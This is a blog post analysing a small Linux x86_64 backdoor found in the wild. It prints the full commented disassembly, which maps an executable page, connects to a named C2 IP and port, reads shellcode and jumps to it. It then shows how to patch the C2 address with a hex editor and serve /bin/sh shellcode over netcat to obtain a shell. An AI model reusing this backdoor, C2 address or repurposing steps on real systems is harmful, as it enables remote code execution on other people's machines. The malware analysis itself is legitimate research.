Naksyn
Naksyn
10 min read

Categories

Tags

image-center

This work is based on Aneesh Dogra’s blogpost describing a new small linux backdoor caught in the wild. The backdoor main functions are fairly explained in the blogpost, however I wanted to dig deeper and look under the hood to check how this backdoor can be repurposed. I thought this might also be a good opportunity to sharpen my assembler skills while exploring some interesting concepts. The backdoor essentially calls back to a C2 and downloads shellcode to be executed in the context of the current process.

As we are dealing with a 64 bit ELF, Linux x86_64 system calls use designated registers for the arguments. The registers for the x86_64 calling sequence are:

  • RAX -> system call number
  • RDI -> first argument
  • RSI -> second argument
  • RDX -> third argument
  • R10 -> fourth argument
  • R8 -> fifth argument
  • R9 -> sixth argument

Results after syscalls are placed into RAX register, so it’s handy to keep the syscall table from the linux kernel for mapping which syscall has been invoked in the assembly code. Syscalls are the interface between user programs and the Linux kernel. They are used to let the kernel perform various system tasks, such as file access, process management and networking. Now let’s get our hands dirty and reverse the most important functionalities of the backdoor that Aneesh kindly provided. Here is the full backdoor assembly with comments after my analysis:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
129: entry0 (int64_t arg3);
;
0x00400078      xor rdi, rdi
0x0040007b      push 9             
0x0040007d      pop rax
0x0040007e      cdq
0x0040007f      mov dh, 0x10       ; 16
0x00400081      mov rsi, rdx       ; arg3 ; 4096
0x00400084      xor r9, r9
0x00400087      push 0x22          ; 34
0x00400089      pop r10
0x0040008b      mov dl, 7
0x0040008d      syscall            ; mmap syscall
0x0040008f      test rax, rax
0x00400092      js 0x4000e6
0x00400094      push 0xa           ; 10
0x00400096      pop r9
0x00400098      push rsi           ; saves 4096 on the stack later use in read syscall
0x00400099      push rax           ; saves mmapped address on the stack later use in read syscall and shellcode execution
0x0040009a      push 0x29          ; 41
0x0040009c      pop rax
0x0040009d      cdq
0x0040009e      push 2             
0x004000a0      pop rdi
0x004000a1      push 1             
0x004000a3      pop rsi
0x004000a4      syscall            ; socket syscall
0x004000a6      test rax, rax
0x004000a9      js 0x4000e6        ; jump forward to exit block if socket unsuccessful
0x004000ab      xchg rax, rdi
0x004000ad      movabs rcx, 0xc2edf86839050002 ; gets here if socket successful or connect unsuccessful and after nanosleep
0x004000b7      push rcx           ; holds the connect addr structure
0x004000b8      mov rsi, rsp       ; pointer to the addr structure
0x004000bb      push 0x10          ; 16
0x004000bd      pop rdx
0x004000be      push 0x2a          ; 42
0x004000c0      pop rax
0x004000c1      syscall            ; connect syscall
0x004000c3      pop rcx
0x004000c4      test rax, rax
0x004000c7      jns 0x4000ee       ; jump to read and execute shellcode if connect successful
0x004000c9      dec r9
0x004000cc      je 0x4000e6        ; decrement 10 1 by 1 and compares it with -1 (connect returned error)
0x004000ce      push rdi
0x004000cf      push 0x23          ; 35
0x004000d1      pop rax
0x004000d2      push 0
0x004000d4      push 5             
0x004000d6      mov rdi, rsp
0x004000d9      xor rsi, rsi
0x004000dc      syscall            ; nanosleep syscall
0x004000de      pop rcx
0x004000df      pop rcx
0x004000e0      pop rdi
0x004000e1      test rax, rax
0x004000e4      jns 0x4000ad       ; jump back if connect failed or nanosleep encounters an error
0x004000e6      push 0x3c          ; gets here if socket unsuccessful or tried connecting 10 times or read failed or mmap failed
0x004000e8      pop rax
0x004000e9      push 1             
0x004000eb      pop rdi
0x004000ec      syscall            ; exit syscall
0x004000ee      pop rsi            ; gets here if connect successful, so RAX=0, rsi=mmapped address popped from the stack
0x004000ef      pop rdx            ; 4096 bytes to be read from connect file descriptor
0x004000f0      syscall            ; read syscall; rdi=connect file descriptor
0x004000f2      test rax, rax
0x004000f5      js 0x4000e6
0x004000f7      jmp rsi            ; execute the bytes read from the connect syscall (shellcode) in the memory mapped address space

Let’s start from the beginning by dividing the assembly in chunks with each syscall at the borders keeping in mind that the backdoor is connecting to a C2 and executing shellcode, so somewhere during the journey we should expect networking and memory related syscalls.

1
2
3
4
5
6
7
8
9
10
11
0x00400078      xor rdi, rdi
0x0040007b      push 9             
0x0040007d      pop rax
0x0040007e      cdq
0x0040007f      mov dh, 0x10       ; 16
0x00400081      mov rsi, rdx       ; arg3 ; 4096
0x00400084      xor r9, r9
0x00400087      push 0x22          ; 34
0x00400089      pop r10
0x0040008b      mov dl, 7
0x0040008d      syscall            ; mmap syscall

syscall number 9 is mapped to the mmap function. This is the mmap function declaration: void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); We should keep it in mind while poking around registers and understand how mmap is called. From the assembly we can understand the following:

  • *addr–> RDI=0
  • length –> RSI=0x1000 — 4096 minimum allocatable page size in 32-64 bit Linux
  • prot –> RDX= 0x1007 — PROT_READ - PROT_WRITE - PROT_EXEC - 0x1000
  • flags –> R10= 0x22 — MAP_PRIVATE - MAP_ANONYMOUS
  • fd –> r8=0
  • offset –> r9=0

To better understand its arguments let’s summon the mmap man page:

mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping (which must be greater than 0). If addr is NULL, then the kernel chooses the (page-aligned) address at which to create the mapping; this is the most portable method of creating a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc sys/vm/mmap_min_addr) and attempt to create the mapping there. If another mapping already exists there, the kernel picks a new address that may or may not depend on the hint. The address of the new mapping is returned as the result of the call. The prot argument describes the desired memory protection of the mapping (and must not conflict with the open mode of the file).

For what we know we can see that here mmap is used by this tiny malware to allocate a larger memory region inside the target process’ address space, and page has been set as readable, writable and/or executable.

Here is the next assembly chunk to be analyzed:

1
2
3
4
5
6
7
8
9
10
11
12
0x00400094      push 0xa           ; 10
0x00400096      pop r9
0x00400098      push rsi           ; saves 4096 on the stack later use in read syscall
0x00400099      push rax           ; saves mmapped address on the stack later use in read syscall and shellcode execution
0x0040009a      push 0x29          ; 41
0x0040009c      pop rax
0x0040009d      cdq
0x0040009e      push 2             
0x004000a0      pop rdi
0x004000a1      push 1             
0x004000a3      pop rsi
0x004000a4      syscall            ; socket syscall

Syscall number 41 is related to the socket function and its declaration is int socket(int domain, int type, int protocol); As per the man page:

socket() creates an endpoint for communication and returns a file descriptor that refers to that endpoint. The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process. This code snippets creates an endpoint for a communication of type SOCK_STREAM, on the PF_INET domain and with IP protocol.

This one is pretty self-explanatory,now let’s dig onto the next chunk:

1
2
3
4
5
6
7
8
9
10
11
0x004000a6      test rax, rax
0x004000a9      js 0x4000e6        ; jump forward to exit block if socket unsuccessful
0x004000ab      xchg rax, rdi
0x004000ad      movabs rcx, 0xc2edf86839050002 ; gets here if socket successful or connect unsuccessful and after nanosleep
0x004000b7      push rcx           ; holds the connect addr structure
0x004000b8      mov rsi, rsp       ; pointer to the addr structure
0x004000bb      push 0x10          ; 16
0x004000bd      pop rdx
0x004000be      push 0x2a          ; 42
0x004000c0      pop rax
0x004000c1      syscall            ; connect syscall

The code sets up a syscall 42, calling the connect function that is declared this way int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); within the RCX register is put the struct sockaddr that can be broken down in this way:

  • 02 00 AF_INET
  • 05 39 port 1337
  • 68 f8 ed c2 IP 104.248.237.194

These are the IP address and port of the malware C2 to whom the backdoor is connecting.

Here is the next assembly snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x004000c3      pop rcx
0x004000c4      test rax, rax
0x004000c7      jns 0x4000ee       ; jump to read and execute shellcode if connect successful
0x004000c9      dec r9
0x004000cc      je 0x4000e6        ; decrement 10 1 by 1 and compares it with -1 (connect returned error)
0x004000ce      push rdi
0x004000cf      push 0x23          ; 35
0x004000d1      pop rax
0x004000d2      push 0
0x004000d4      push 5             
0x004000d6      mov rdi, rsp
0x004000d9      xor rsi, rsi
0x004000dc      syscall            ; nanosleep syscall

Syscall with argument 35 invokes the nanosleep function int nanosleep(const struct timespec *req, struct timespec *rem); that does the following

nanosleep() suspends the execution of the calling thread until either at least the time specified in *req has elapsed, or the delivery of a signal that triggers the invocation of a handler in the calling thread or that terminates the process. […] On successfully sleeping for the requested interval, nanosleep() returns 0. If the call is interrupted by a signal handler or encounters an error, then it returns -1, with errno set to indicate the error.

We are approaching the end of the backdoor and the magic is going to kick in. Here is the final assembly snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x004000de      pop rcx
0x004000df      pop rcx
0x004000e0      pop rdi
0x004000e1      test rax, rax
0x004000e4      jns 0x4000ad       ; jump back if connect failed or nanosleep encounters an error
0x004000e6      push 0x3c          ; gets here if socket unsuccessful or tried connecting 10 times or read failed or mmap failed
0x004000e8      pop rax
0x004000e9      push 1             
0x004000eb      pop rdi
0x004000ec      syscall            ; exit syscall
0x004000ee      pop rsi            ; gets here if connect successful, so RAX=0, rsi=mmapped address popped from the stack
0x004000ef      pop rdx            ; 4096 bytes to be read from connect file descriptor
0x004000f0      syscall            ; read syscall; rdi=connect file descriptor
0x004000f2      test rax, rax
0x004000f5      js 0x4000e6
0x004000f7      jmp rsi            ; execute the bytes read from the connect syscall (shellcode) in the memory mapped address space

This code block contains the exit syscall which is hit whenever other syscalls fail (mmap, connect, socket, read), and right after that, by using the memory mapped address saved on the stack as a buffer, the read syscall does exactly what it says: it reads bytes (max. 4096) from the file descriptor created with the connect syscall and place them in the buffer. Then if no error arises the execution is passed to the opcodes starting from the address saved in RSI register, that is the memory mapped address (marked as RWX) and the read buffer where we placed the shellcode received with the connect syscall. In other words this tiny 249 bytes backdoor can achieve in memory execution of an arbitrary remotely downloaded shellcode. There are no applied opsec features such as a decoding/decryption routine for the downloaded shellcode, custom ELF packer scheme etc. so the C2 software for the backdoor can be anything capable of transmitting predetermined shellcode via a network socket and anyone with a hex editor can change the sockaddr structure to modify the C2 IP and reuse the backdoor. Let’s try that and modify the contents of the connect syscall addr structure at the address 0x004000ad: Address 127.0.0.1 with port 1337 translates to 0x0100007f39050002, it is enough to use whatever hex editor like bless and patch the backdoor.

We are using a [/bin/sh shellcode]{http://shell-storm.org/shellcode/files/shellcode-806.php} for a local test:

1
2
python -c “print ‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05’” | nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)

finally firing up the patched backdoor:

1
2
3
root@remnux:/home/remnux/Desktop/backdoor# ./pay_patched.bin
# echo $0
/bin/sh

That’s it. Repurposed backdoor. Writing this post allowed me to better understand the logic flow of the backdoor that malware author(s) chose to use and linux in-memory shellcode execution.